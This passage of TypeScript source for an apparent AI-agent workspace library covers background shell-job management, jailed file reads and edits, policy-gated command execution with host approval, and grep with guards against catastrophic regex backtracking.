this.jobs.delete(job.id);\n }\n }\n\n private get(id: string): ShellJob {\n const job = this.jobs.get(id);\n\n if (job === undefined) {\n throw new WorkspaceJobError(\n `No background command with id \"${id}\" exists in this workspace.`,\n {\n type: \"not-found\",\n jobId: id,\n },\n );\n }\n\n return job;\n }\n\n /** New output of a job (see {@link ShellOutputOptions}). */\n public async output(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n const job = this.get(id);\n const since = opts?.since ?? job.readCursor;\n const waitMs = Math.min(Math.max(0, opts?.waitMs ?? 0), MAX_OUTPUT_WAIT_MS);\n\n if (waitMs > 0 && job.status === \"running\" && job.produced <= since) {\n await job.waitForChange(waitMs, opts?.signal);\n }\n\n return job.read(since);\n }\n\n /** Kill a job's process tree and wait (bounded) for it to stop. */\n public async kill(id: string): Promise<ShellJobInfo> {\n const job = this.get(id);\n\n await this.stop(job);\n\n return job.info();\n }\n\n private async stop(job: ShellJob): Promise<void> {\n if (job.status !== \"running\" || job.process === undefined) {\n return;\n }\n\n job.killRequested = true;\n job.process.kill();\n await Promise.race([job.process.done, delay(KILL_SETTLE_MS)]);\n }\n\n /** Every job, oldest first. */\n public list(): ShellJobInfo[] {\n return [...this.jobs.values()].map((job) => job.info());\n }\n\n /** Kill every running job and refuse new ones. Idempotent. */\n public async dispose(): Promise<void> {\n this.disposed = true;\n await Promise.all([...this.jobs.values()].map((job) => this.stop(job)));\n }\n}\n","import path from \"node:path\";\nimport { fs } from \"@warlock.js/fs\";\nimport { applyReplacement, type AppliedReplacementOptions } from \"./edit/apply-replacement\";\nimport { WorkspaceEditError, WorkspacePolicyError } from \"./errors\";\nimport { runAfterEdit } from \"./hooks/after-edit\";\nimport { OutputSpiller, splitLines } from \"./output/spill\";\nimport { globToRegExp, isInside, matchesAnyGlob } from \"./policy/jail\";\nimport { buildCommandEnv, resolveInJail } from \"./policy/policy\";\nimport { checkShellCommand } from \"./policy/shell-check\";\nimport { resolveShell, type ResolvedShell } from \"./policy/shell-interpreter\";\nimport { DEFAULT_MAX_BACKGROUND_JOBS, ShellJobs } from \"./shell-jobs\";\nimport { executePatch } from \"./patch/execute-patch\";\nimport type {\n ApplyPatchInput,\n ApplyPatchResult,\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepMatch,\n GlobResult,\n GrepResult,\n ListDirEntry,\n ListDirEntryType,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n WorkspaceBackend,\n WorkspaceCommandPattern,\n WorkspaceOps,\n WorkspacePolicy,\n WorkspaceShellAsk,\n WorkspaceShellOnAsk,\n WorkspaceEditTool,\n WorkspaceTruncation,\n} from \"./contracts\";\n\n/** Default line window a read returns when the policy sets no `defaultLines`. */\nconst DEFAULT_READ_LINES = 2000;\n/** Hard ceiling on grep matches returned, so a broad pattern can't flood. */\nconst DEFAULT_MAX_GREP_MATCHES = 1000;\n/** Default per-command output byte cap when the policy sets none. */\nconst DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;\n/** Default `list.ignore` when the policy sets none. */\nconst DEFAULT_LIST_IGNORE: readonly string[] = [\"node_modules\", \".git\"];\n/** Default deepest `depth` a listing may ask for. */\nconst DEFAULT_LIST_MAX_DEPTH = 5;\n/** Default most entries one listing returns. */\nconst DEFAULT_LIST_MAX_ENTRIES = 500;\n/** Most edits one `multiEdit` call may carry. */\nexport const MAX_MULTI_EDITS = 100;\n/**\n * Exit code reported for a command refused because its signal was already\n * aborted (the shell convention for an interrupted command). Callers should\n * branch on `cancelled`, not on this number.\n */\nconst CANCELLED_BEFORE_START_EXIT_CODE = 130;\n/**\n * Hard ceiling on `grep` pattern length. A model-controlled regex has no\n * legitimate reason to be this long; longer patterns are rejected outright\n * rather than compiled.\n */\nconst MAX_GREP_PATTERN_LENGTH = 200;\n/**\n * Hard ceiling on the number of characters of a single line handed to\n * `RegExp#test` during a `grep`. Catastrophic backtracking is exponential\n * in input length, so bounding the input scanned per call bounds the\n * worst-case time a single pathological line can cost — lines longer than\n * this are skipped rather than scanned.\n */\nconst MAX_GREP_LINE_SCAN_LENGTH = 2000;\n\n/** The `cat -n` prefix for a line: right-aligned number (min width 6) and a tab. */\nfunction linePrefix(lineNumber: number): string {\n return `${String(lineNumber).padStart(6, \" \")}\\t`;\n}\n\n/**\n * Clip `value` to at most `maxBytes` UTF-8 bytes without splitting a\n * character: the cut backs off over continuation bytes (`10xxxxxx`) to the\n * start of the character it would have split, so the result never carries\n * a replacement character.\n */\nfunction clipUtf8(value: string, maxBytes: number): { value: string; truncated: boolean } {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return { value, truncated: false };\n }\n\n let cut = Math.max(0, maxBytes);\n\n while (cut > 0 && ((bytes[cut] ?? 0) & 0xc0) === 0x80) {\n cut--;\n }\n\n return { value: bytes.subarray(0, cut).toString(\"utf8\"), truncated: true };\n}\n\n/**\n * Number a window of lines `cat -n` style, keeping the joined output within\n * `maxBytes` UTF-8 bytes (prefixes and newlines included) when a cap is set.\n * A line that does not fit whole is clipped on a character boundary; it is\n * still counted as returned when its prefix and at least one character fit.\n */\nfunction numberWindow(\n lines: string[],\n startLine: number,\n maxBytes: number | undefined,\n): { content: string; returnedLines: number; bytesCapped: boolean } {\n const parts: string[] = [];\n let used = 0;\n\n for (let index = 0; index < lines.length; index++) {\n const prefix = linePrefix(startLine + index);\n const numbered = prefix + lines[index];\n const separator = parts.length > 0 ? 1 : 0;\n\n if (maxBytes === undefined) {\n parts.push(numbered);\n\n continue;\n }\n\n const cost = separator + Buffer.byteLength(numbered, \"utf8\");\n\n if (used + cost <= maxBytes) {\n parts.push(numbered);\n used += cost;\n\n continue;\n }\n\n const room = maxBytes - used - separator - Buffer.byteLength(prefix, \"utf8\");\n const clipped = room > 0 ? clipUtf8(lines[index] ?? \"\", room).value : \"\";\n\n if (clipped.length > 0) {\n parts.push(prefix + clipped);\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: true };\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: false };\n}\n\n/**\n * Clip a captured stream at `maxBytes` (measured in UTF-8 bytes), on a\n * character boundary. Returns the possibly-clipped string plus whether\n * clipping occurred.\n */\nfunction capOutput(value: string, maxBytes: number): { value: string; truncated: boolean } {\n return clipUtf8(value, maxBytes);\n}\n\n/**\n * A quantifier: `+`, `*`, `?`, or a `{m,n}` bound.\n */\nconst QUANTIFIER_SOURCE = String.raw`[+*?]|\\{\\d*,?\\d*\\}`;\n\n/**\n * Heuristic catastrophic-backtracking detector: flags a quantified group\n * that itself contains a quantifier (e.g. `(a+)+`, `(a*)*`, `(.+)*`) —\n * the classic exponential-blowup shape. Not a full regex-safety analyzer\n * (it won't catch every ReDoS shape, e.g. quantified alternation like\n * `(a|a)+`), but it rejects the shape an agent is most likely to emit,\n * intentionally or via prompt injection.\n */\nconst NESTED_QUANTIFIER_PATTERN = new RegExp(\n String.raw`\\([^()]*(?:${QUANTIFIER_SOURCE})[^()]*\\)(?:${QUANTIFIER_SOURCE})`,\n);\n\n/**\n * Whether `pattern` is safe enough to compile and run against workspace\n * content: within the length cap and free of the nested-quantifier shape\n * that causes catastrophic regex backtracking (ReDoS).\n */\nfunction isSafeGrepPattern(pattern: string): boolean {\n if (pattern.length > MAX_GREP_PATTERN_LENGTH) {\n return false;\n }\n\n return !NESTED_QUANTIFIER_PATTERN.test(pattern);\n}\n\n/**\n * The internal, single-instance implementation of {@link WorkspaceOps}.\n * Holds the backend + policy and is the one place the jail, command\n * gating, read caps, and the read-before-edit guard are enforced — both\n * the agent-facing tools and the human-facing direct methods funnel\n * through this object, so there is exactly one set of rules.\n */\n/**\n * State an ops layer shares with the other projections of the same\n * workspace (`readonly()`, `scope()`): the background commands it owns.\n */\nexport interface OpsRuntime {\n /** The workspace's background commands. */\n jobs: ShellJobs;\n /** Patterns the host approved with `remember`, shared by every view of the workspace. */\n approvals?: WorkspaceCommandPattern[];\n}\n\nclass Ops implements WorkspaceOps {\n /**\n * Tail of the mutation chain per resolved absolute path. Writes, edits and\n * removes on the same path run one after another, so two tool calls the\n * agent dispatches concurrently cannot both read the same content, both\n * pass the stale-hash guard and silently drop one edit: the second one\n * re-reads after the first has written.\n */\n private readonly pathLocks = new Map<string, Promise<void>>();\n\n /** The shell `policy.shell.interpreter` resolves to on this host, resolved once. */\n private readonly resolvedShell: ResolvedShell;\n\n /** Patterns approved with `remember` (shared through the runtime). */\n private readonly approvals: WorkspaceCommandPattern[];\n\n /** Saves oversized output to files when `output.spillDir` is set. */\n private readonly spiller: OutputSpiller;\n\n public constructor(\n private readonly backend: WorkspaceBackend,\n private readonly policy: WorkspacePolicy,\n private readonly runtime: OpsRuntime,\n ) {\n this.resolvedShell = resolveShell(policy.shell);\n this.approvals = runtime.approvals ?? [];\n this.spiller = new OutputSpiller(backend, policy);\n }\n\n /** The edit-policy settings applied to every replacement. */\n private editOptions(): AppliedReplacementOptions {\n const edit = this.policy.edit;\n\n return {\n matching: edit?.matching ?? \"tiered\",\n missHintLines: edit?.missHintLines ?? 12,\n lineEndings: edit?.lineEndings ?? \"preserve\",\n ...(this.policy.read?.maxBytes !== undefined\n ? { hintMaxBytes: this.policy.read.maxBytes }\n : {}),\n };\n }\n\n /** Run `afterEdit` for a call that wrote `paths`; `undefined` when there is no output. */\n private diagnosticsFor(\n tool: WorkspaceEditTool,\n paths: readonly string[],\n ): Promise<string | undefined> {\n return runAfterEdit(this.policy, { paths, tool });\n }\n\n /** Run `task` after every earlier mutation of `absolutePath` has settled. */\n private async withPathLock<T>(absolutePath: string, task: () => Promise<T>): Promise<T> {\n const previous = this.pathLocks.get(absolutePath) ?? Promise.resolve();\n let release: () => void = () => {};\n const current = new Promise<void>((resolve) => {\n release = resolve;\n });\n const tail = previous.then(() => current);\n\n this.pathLocks.set(absolutePath, tail);\n\n try {\n await previous;\n\n return await task();\n } finally {\n release();\n\n if (this.pathLocks.get(absolutePath) === tail) {\n this.pathLocks.delete(absolutePath);\n }\n }\n }\n\n /**\n * Recursively collect every file under `absDir` as absolute paths,\n * via the backend's `list` (so it works over disk or the in-memory\n * mock). Directories are descended; files are accumulated.\n */\n private async walkFiles(absDir: string): Promise<string[]> {\n const found: string[] = [];\n const entries = await this.backend.list(absDir);\n\n await Promise.all(\n entries.map(async (entry) => {\n // A child is a directory iff listing it succeeds; the backend\n // throws/returns for a file. Probe via `exists` + a list guard.\n const isDir = await this.isDirectory(entry);\n\n if (isDir) {\n const nested = await this.walkFiles(entry);\n found.push(...nested);\n } else {\n found.push(entry);\n }\n }),\n );\n\n return found;\n }\n\n /** Whether an absolute path is a directory, by attempting to list it. */\n private async isDirectory(absPath: string): Promise<boolean> {\n try {\n await this.backend.list(absPath);\n\n return true;\n } catch {\n return false;\n }\n }\n\n public async readFile(\n inputPath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n const { absolutePath } = await resolveInJail(this.policy, inputPath, \"read\");\n const raw = await this.backend.readFile(absolutePath);\n\n // Hash the full content the backend returned (SHA-256 via\n // @warlock.js/fs), not the returned window and not the on-disk file —\n // the mock backend keeps content in memory, and the stale-edit guard\n // later hashes the backend's content too, so it must be the SAME\n // source of truth whatever window or byte cap applied.\n const hash = fs.hash.string(raw);\n\n const lines = raw.split(\"\\n\");\n const totalLines = lines.length;\n\n const offset = Math.max(1, opts?.offset ?? 1);\n const limit = opts?.limit ?? this.policy.read?.defaultLines ?? DEFAULT_READ_LINES;\n const maxBytes = this.policy.read?.maxBytes;\n\n const startIndex = offset - 1;\n const window = lines.slice(startIndex, startIndex + Math.max(0, limit));\n const { content, returnedLines, bytesCapped } = numberWindow(\n window,\n offset,\n maxBytes === undefined ? undefined : Math.max(0, Math.floor(maxBytes)),\n );\n const endLine = offset + returnedLines - 1;\n const spillDir = this.spiller.spillDir;\n let spilled: { content: string; truncation: WorkspaceTruncation } | undefined;\n\n // A read of a spill file is never spilled again; it is already paged.\n if (bytesCapped && spillDir !== undefined && !isInside(absolutePath, spillDir)) {\n const full = numberWindow(window, offset, undefined).content;\n const file = await this.spiller.save(\"read_file\", full);\n\n if (file !== undefined) {\n spilled = {\n content: `${content}\\n[showing lines 1-${returnedLines} of ${window.length}; full output saved to ${file}]`,\n truncation: {\n shown: { lines: returnedLines },\n total: { lines: window.length, bytes: Buffer.byteLength(full, \"utf8\") },\n path: file,\n },\n };\n }\n }\n\n return {\n content: spilled?.content ?? content,\n ...(spilled !== undefined ? { truncation: spilled.truncation } : {}),\n startLine: offset,\n endLine,\n totalLines,\n truncated: bytesCapped || endLine < totalLines,\n bytesCapped,\n totalBytes: Buffer.byteLength(raw, \"utf8\"),\n hash,\n };\n }\n\n public async writeFile(\n inputPath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number; diagnostics?: string }> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, inputPath);\n\n const written = await this.withPathLock(absolutePath, async () => {\n // Ensure the parent directory exists before writing the leaf.\n const parent = path.dirname(absolutePath);\n await this.backend.mkdir(parent);\n\n await this.backend.writeFile(absolutePath, content);\n\n return {\n hash: fs.hash.string(content),\n bytesWritten: Buffer.byteLength(content, \"utf8\"),\n };\n });\n const diagnostics = await this.diagnosticsFor(\"write_file\", [relativePath || inputPath]);\n\n return { ...written, ...(diagnostics !== undefined ? { diagnostics } : {}) };\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, input.path);\n\n const result = await this.withPathLock(absolutePath, () =>\n this.applyEdit(input, absolutePath, relativePath),\n );\n const diagnostics = await this.diagnosticsFor(\"edit_file\", [result.path]);\n\n return diagnostics === undefined ? result : { ...result, diagnostics };\n }\n\n /** The read-check-replace-write of {@link editFile}, run under its path lock. */\n private async applyEdit(\n input: EditFileInput,\n absolutePath: string,\n relativePath: string,\n ): Promise<EditFileResult> {\n const current = await this.backend.readFile(absolutePath);\n const currentHash = fs.hash.string(current);\n\n // Stale-hash guard: if the caller pinned a hash and the file moved\n // underneath them, refuse so they re-read before clobbering.\n if (input.expectHash !== undefined && input.expectHash !== currentHash) {\n throw new WorkspaceEditError(\n `File \"${input.path}\" changed since it was read; the edit is stale.`,\n {\n type: \"stale-hash\",\n path: relativePath || input.path,\n expectedHash: input.expectHash,\n actualHash: currentHash,\n },\n );\n }\n\n const {\n content: updated,\n replacements,\n matchTier,\n } = applyReplacement(\n current,\n input,\n input.path,\n relativePath || input.path,\n this.editOptions(),\n );\n\n await this.backend.writeFile(absolutePath, updated);\n\n return {\n path: relativePath || input.path,\n replacements,\n hash: fs.hash.string(updated),\n ...(matchTier !== undefined ? { matchTier } : {}),\n };\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n const { absolutePath, relativePath } = await resolveInJail(this.policy, input.path);\n const shownPath = relativePath || input.path;\n\n if (input.edits.length === 0 || input.edits.length > MAX_MULTI_EDITS) {\n throw new RangeError(\n `A multi-edit needs between 1 and ${MAX_MULTI_EDITS} edits (got ${input.edits.length}).`,\n );\n }\n\n const result = await this.withPathLock(absolutePath, async () => {\n const current = await this.backend.readFile(absolutePath);\n const currentHash = fs.hash.string(current);\n\n if (input.expectHash !== undefined && input.expectHash !== currentHash) {\n throw new WorkspaceEditError(\n `File \"${input.path}\" changed since it was read; none of the edits were applied.`,\n {\n type: \"stale-hash\",\n path: shownPath,\n expectedHash: input.expectHash,\n actualHash: currentHash,\n },\n );\n }\n\n // Apply every edit in memory first; one failure leaves the file untouched.\n let content = current;\n let replacements = 0;\n let matchTier: MultiEditResult[\"matchTier\"];\n const options = this.editOptions();\n\n input.edits.forEach((edit, editIndex) => {\n const applied = applyReplacement(content, edit, input.path, shownPath, options, editIndex);\n\n content = applied.content;\n replacements += applied.replacements;\n\n if (applied.matchTier === \"whitespace\" || matchTier === undefined) {\n matchTier = applied.matchTier ?? matchTier;\n }\n });\n\n await this.backend.writeFile(absolutePath, content);\n\n return {\n path: shownPath,\n edits: input.edits.length,\n replacements,\n hash: fs.hash.string(content),\n ...(matchTier !== undefined ? { matchTier } : {}),\n };\n });\n const diagnostics = await this.diagnosticsFor(\"multi_edit\", [shownPath]);\n\n return diagnostics === undefined ? result : { ...result, diagnostics };\n }\n\n public async applyPatch(input: ApplyPatchInput): Promise<ApplyPatchResult> {\n const result = await this.runPatch(input);\n\n if (result.dryRun) {\n return result;\n }\n\n const paths = result.files.filter((file) => file.action !== \"deleted\").map((file) => file.path);\n const diagnostics = await this.diagnosticsFor(\"apply_patch\", paths);\n\n return diagnostics === undefined ? result : { ...result, diagnostics };\n }\n\n private runPatch(input: ApplyPatchInput): Promise<ApplyPatchResult> {\n return executePatch(input, {\n resolve: (inputPath) => resolveInJail(this.policy, inputPath),\n exists: (absolutePath) => this.backend.exists(absolutePath),\n stat: this.backend.stat\n ? (absolutePath) =>\n (this.backend.stat as NonNullable<WorkspaceBackend[\"stat\"]>)(absolutePath)\n : undefined,\n read: (absolutePath) => this.backend.readFile(absolutePath),\n write: async (absolutePath, content) => {\n await this.backend.mkdir(path.dirname(absolutePath));\n await this.backend.writeFile(absolutePath, content);\n },\n remove: (absolutePath) => this.backend.remove(absolutePath),\n withLock: (key, task) => this.withPathLock(key, task),\n display: (absolutePath) => path.relative(this.policy.cwd, absolutePath),\n });\n }\n\n /**\n * Check a command line against the shell policy: every command in it\n * (argv or shell mode), then — shell mode — every redirection target and\n * `cd` directory against the jail with symlinks resolved.\n */\n private async assertCommandAllowed(command: string, signal?: AbortSignal): Promise<void> {\n const verdict = checkShellCommand(this.policy, command, {\n remembered: this.approvals,\n resolved: this.resolvedShell,\n });\n const onAsk = this.policy.shell?.onAsk;\n const needsApproval =\n !verdict.allowed && verdict.reason === \"approval-required\" && verdict.asks.length > 0;\n\n if (!verdict.allowed && !(needsApproval && onAsk !== undefined)) {\n throw new WorkspacePolicyError(\n verdict.message ?? `Command is not permitted by the workspace shell policy: ${command}`,\n {\n type: \"denied-command\",\n command,\n ...(verdict.reason !== undefined ? { reason: verdict.reason } : {}),\n ...(verdict.executable !== undefined ? { executable: verdict.executable } : {}),\n ...(verdict.path !== undefined ? { path: verdict.path } : {}),\n },\n );\n }\n\n for (const target of verdict.paths) {\n try {\n await resolveInJail(this.policy, target.path);\n } catch (error) {\n if (!(error instanceof WorkspacePolicyError)) {\n throw error;\n }\n\n throw new WorkspacePolicyError(\n target.access === \"cwd\"\n ? `\\`cd ${target.target}\\` resolves (through a symlink) outside the workspace jail or onto a denied path.`\n : `The redirection target \\`${target.target}\\` resolves (through a symlink) outside the workspace jail or onto a denied path.`,\n { type: \"denied-command\", reason: \"path-escape\", command, path: target.target },\n );\n }\n }\n\n if (this.runtime.jobs.isDisposed) {\n throw new WorkspacePolicyError(\n \"The workspace has been disposed; it cannot run new commands.\",\n { type: \"denied-command\", reason: \"not-allowed\", command },\n );\n }\n\n if (needsApproval && onAsk !== undefined) {\n await this.askForApproval(command, verdict.asks, onAsk, signal);\n }\n }\n\n /** Put the commands that need approval to `shell.onAsk`; refuse the line unless it says yes. */\n private async askForApproval(\n command: string,\n asks: WorkspaceShellAsk[],\n onAsk: WorkspaceShellOnAsk,\n signal: AbortSignal | undefined,\n ): Promise<void> {\n let decision: Awaited<ReturnType<WorkspaceShellOnAsk>> | undefined;\n\n try {\n decision = await onAsk({ command, asks, ...(signal ? { signal } : {}) });\n } catch {\n decision = undefined;\n }\n\n if (decision?.allow !== true) {\n throw new WorkspacePolicyError(\n `Running ${asks.map((ask) => `\\`${ask.argv.join(\" \")}\\``).join(\", \")} was not approved.`,\n { type: \"denied-command\", reason: \"approval-denied\", command },\n );\n }\n\n if (decision.remember !== undefined && !this.approvals.includes(decision.remember)) {\n this.approvals.push(decision.remember);\n }\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n await this.assertCommandAllowed(command, opts?.signal);\n\n const signal = opts?.signal;\n\n // Refuse an already-cancelled invocation here, so no backend — built-in\n // or custom — ever starts a command whose caller has given up on it.\n if (signal?.aborted) {\n return {\n exitCode: CANCELLED_BEFORE_START_EXIT_CODE,\n stdout: \"\",\n stderr: \"Command was not executed: the invocation was cancelled before it started.\",\n truncated: false,\n timedOut: false,\n cancelled: true,\n };\n }\n\n const shell = this.policy.shell;\n const timeoutMs = opts?.timeoutMs ?? shell?.timeoutMs;\n const maxOutputBytes = shell?.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES;\n const interpreter = this.resolvedShell.interpreter;\n\n const result = await this.backend.exec(command, {\n cwd: this.policy.cwd,\n timeoutMs,\n env: buildCommandEnv(this.policy),\n ...(signal ? { signal } : {}),\n ...(interpreter !== \"none\" ? { interpreter } : {}),\n ...(interpreter !== \"none\" && this.resolvedShell.file !== undefined\n ? { interpreterPath: this.resolvedShell.file }\n : {}),\n });\n\n const stdout = await this.fitStream(\"run_shell-stdout\", result.stdout, maxOutputBytes);\n const stderr = await this.fitStream(\"run_shell-stderr\", result.stderr, maxOutputBytes);\n const cancelled = result.cancelled === true;\n const truncation = streamTruncation(stdout.truncation, stderr.truncation);\n\n return {\n exitCode: result.exitCode,\n stdout: stdout.value,\n stderr: stderr.value,\n truncated: stdout.truncated || stderr.truncated,\n timedOut: result.timedOut && !cancelled,\n cancelled,\n ...(truncation !== undefined ? { truncation } : {}),\n };\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n const background = this.policy.shell?.background;\n\n if (background === undefined) {\n throw new WorkspacePolicyError(\n \"Background commands are not enabled for this workspace. Run the command without background, or ask for shell.background to be enabled.\",\n { type: \"denied-command\", reason: \"not-allowed\", command },\n );\n }\n\n await this.assertCommandAllowed(command);\n\n const start = this.backend.start?.bind(this.backend);\n\n if (start === undefined) {\n throw new WorkspacePolicyError(\"This workspace backend cannot run background commands.\", {\n type: \"denied-command\",\n reason: \"not-allowed\",\n command,\n });\n }\n\n const shell = this.policy.shell;\n const interpreter = this.resolvedShell.interpreter;\n const interpreterPath = interpreter !== \"none\" ? this.resolvedShell.file : undefined;\n const timeoutMs = lowerOf(background.timeoutMs, opts?.timeoutMs);\n const env = buildCommandEnv(this.policy);\n\n return this.runtime.jobs.start({\n command,\n retainBytes: shell?.maxOutputBytes ?? DEFAULT_MAX_OUTPUT_BYTES,\n maxJobs: background.maxJobs ?? DEFAULT_MAX_BACKGROUND_JOBS,\n ...(timeoutMs !== undefined ? { timeoutMs } : {}),\n launch: (onOutput) =>\n start(command, {\n cwd: this.policy.cwd,\n env,\n ...(interpreter !== \"none\" ? { interpreter } : {}),\n ...(interpreterPath !== undefined ? { interpreterPath } : {}),\n onOutput,\n }),\n });\n }\n\n public async shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n const result = await this.runtime.jobs.output(id, opts);\n\n if (!this.spiller.enabled) {\n return result;\n }\n\n const stdout = await this.spiller.text(`shell_output-${id}-stdout`, result.stdout, \"head+tail\");\n const stderr = await this.spiller.text(`shell_output-${id}-stderr`, result.stderr, \"head+tail\");\n const truncation = streamTruncation(stdout.truncation, stderr.truncation);\n\n return truncation === undefined\n ? result\n : { ...result, stdout: stdout.value, stderr: stderr.value, truncated: true, truncation };\n }\n\n /**\n * Fit one captured stream to the limits: spilled to a file when\n * `output.spillDir` is set, otherwise clipped at `maxBytes` as always.\n */\n private async fitStream(\n label: string,\n value: string,\n maxBytes: number,\n ): Promise<{ value: string; truncated: boolean; truncation?: WorkspaceTruncation }> {\n if (this.spiller.enabled) {\n const cap = this.policy.shell?.maxOutputBytes;\n const spilled = await this.spiller.text(label, value, \"head+tail\", cap);\n\n if (spilled.truncation !== undefined) {\n return { value: spilled.value, truncated: true, truncation: spilled.truncation };\n }\n }\n\n const capped = capOutput(value, maxBytes);\n\n if (!capped.truncated) {\n return capped;\n }\n\n return {\n ...capped,\n truncation: {\n shown: { lines: splitLines(capped.value).length },\n total: { lines: splitLines(value).length, bytes: Buffer.byteLength(value, \"utf8\") },\n },\n };\n }\n\n public shellKill(id: string): Promise<ShellJobInfo> {\n return this.runtime.jobs.kill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.runtime.jobs.list();\n }\n\n public async dispose(): Promise<void> {\n await this.runtime.jobs.dispose();\n await this.spiller.dispose();\n }\n\n public async listDir(inputPath = \".\", opts?: ListDirOptions): Promise<ListDirResult> {\n const { absolutePath: root, relativePath: rootRelative } = await resolveInJail(\n this.policy,\n inputPath,\n );\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const listPolicy = this.policy.list;\n const maxDepth = Math.max(1, Math.floor(listPolicy?.maxDepth ?? DEFAULT_LIST_MAX_DEPTH));\n const depth = Math.min(Math.max(1, Math.floor(opts?.depth ?? 1)), maxDepth);\n const maxEntries = Math.max(1, Math.floor(listPolicy?.maxEntries ?? DEFAULT_LIST_MAX_ENTRIES));\n const ignore = [...(listPolicy?.ignore ?? DEFAULT_LIST_IGNORE), ...(opts?.ignore ?? [])];\n const insideCwd = isInside(root, jailRoot);\n\n if (!(await this.isDirectory(root))) {\n throw new Error(`\"${inputPath}\" is not a directory in the workspace.`);\n }\n\n const entries: ListDirEntry[] = [];\n let level: string[] = [root];\n let truncated = false;\n\n for (let currentDepth = 1; currentDepth <= depth && level.length > 0; currentDepth++) {\n const nextLevel: string[] = [];\n\n for (const directory of level) {\n let children: string[];\n\n try {\n children = await this.backend.list(directory);\n } catch {\n continue;\n }\n\n children.sort((left, right) => (left < right ? -1 : left > right ? 1 : 0));\n\n for (const child of children) {\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, child).split(path.sep).join(\"/\")\n : child;\n\n if (\n insideCwd &&\n (this.isDenied(relativeToJail) || matchesAnyGlob(relativeToJail, ignore))\n ) {\n continue;\n }\n\n const relativeToRoot = path.relative(root, child).split(path.sep).join(\"/\");\n\n if (!insideCwd && matchesAnyGlob(relativeToRoot, ignore)) {\n continue;\n }\n\n if (entries.length >= maxEntries) {\n truncated = true;\n\n break;\n }\n\n const described = await this.describe(child);\n\n entries.push({\n path: relativeToJail,\n type: described.type,\n ...(described.size !== undefined ? { size: described.size } : {}),\n depth: currentDepth,\n });\n\n if (described.type === \"directory\") {\n nextLevel.push(child);\n }\n }\n\n if (truncated) {\n break;\n }\n }\n\n if (truncated) {\n break;\n }\n\n level = nextLevel;\n }\n\n return { path: insideCwd ? rootRelative || \".\" : root, entries, truncated };\n }\n\n /** Kind and size of a listed entry; symlinks are reported, never followed. */\n private async describe(absPath: string): Promise<{ type: ListDirEntryType; size?: number }> {\n if (this.backend.stat) {\n try {\n const stats = await this.backend.stat(absPath);\n\n return stats.type === \"file\" ? { type: \"file\", size: stats.size } : { type: stats.type };\n } catch {\n return { type: \"other\" };\n }\n }\n\n // No `stat`: a child is a directory iff it can be listed, and it must\n // still resolve inside the jail before it is descended into.\n if (await this.isDirectory(absPath)) {\n try {\n await resolveInJail(this.policy, absPath);\n\n return { type: \"directory\" };\n } catch {\n return { type: \"other\" };\n }\n }\n\n return { type: \"file\" };\n }\n\n public async grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n if (!isSafeGrepPattern(pattern)) {\n throw new WorkspacePolicyError(\n `Grep pattern is too long or too likely to cause catastrophic regex backtracking: ${pattern}`,\n { type: \"unsafe-pattern\", pattern },\n );\n }\n\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const flags = opts?.ignoreCase ? \"i\" : \"\";\n const regex = new RegExp(pattern, flags);\n const globRegex = opts?.glob ? globToRegExp(opts.glob) : undefined;\n\n const files = await this.walkFiles(jailRoot);\n const matches: GrepMatch[] = [];\n\n for (const absFile of files) {\n const relativePath = path.relative(jailRoot, absFile).split(path.sep).join(\"/\");\n\n if (globRegex && !globRegex.test(relativePath)) {\n continue;\n }\n\n // Skip files the deny list would block (e.g. `.git/**`).\n if (this.isDenied(relativePath)) {\n continue;\n }\n\n let content: string;\n\n try {\n content = await this.backend.readFile(absFile);\n } catch {\n // Unreadable entry (vanished, binary handle) — skip, don't fail.\n continue;\n }\n\n const lines = content.split(\"\\n\");\n\n for (let index = 0; index < lines.length; index++) {\n const line = lines[index] ?? \"\";\n\n // Cap the input size a single `RegExp#test` call scans: backtracking\n // cost is exponential in input length, so this bounds the worst-case\n // time even a pathological (but length/shape-allowed) pattern can\n // burn on any one line.\n if (line.length > MAX_GREP_LINE_SCAN_LENGTH) {\n continue;\n }\n\n if (regex.test(line)) {\n matches.push({ path: relativePath, line: index + 1, text: line });\n\n if (matches.length >= DEFAULT_MAX_GREP_MATCHES) {\n return this.fitMatches(matches);\n }\n }\n }\n }\n\n return this.fitMatches(matches);\n }\n\n /** Apply the `output` limits to a finished match list. */\n private async fitMatches(matches: GrepMatch[]): Promise<GrepResult> {\n const fitted = await this.spiller.list(\n \"grep\",\n matches,\n (match) => `${match.path}:${match.line}:${match.text}`,\n \"head\",\n );\n\n return fitted.truncation === undefined\n ? { matches, total: matches.length }\n : {\n matches: fitted.items,\n total: matches.length,\n truncated: true,\n truncation: fitted.truncation,\n };\n }\n\n public async globResult(pattern: string): Promise<GlobResult> {\n const all = await this.glob(pattern);\n const fitted = await this.spiller.list(\"glob\", all, (entry) => entry, \"head\");\n\n return fitted.truncation === undefined\n ? { paths: all }\n : { paths: fitted.items, truncated: true, truncation: fitted.truncation };\n }\n\n public async glob(pattern: string): Promise<string[]> {\n const { absolutePath: jailRoot } = await resolveInJail(this.policy, \".\");\n const regex = 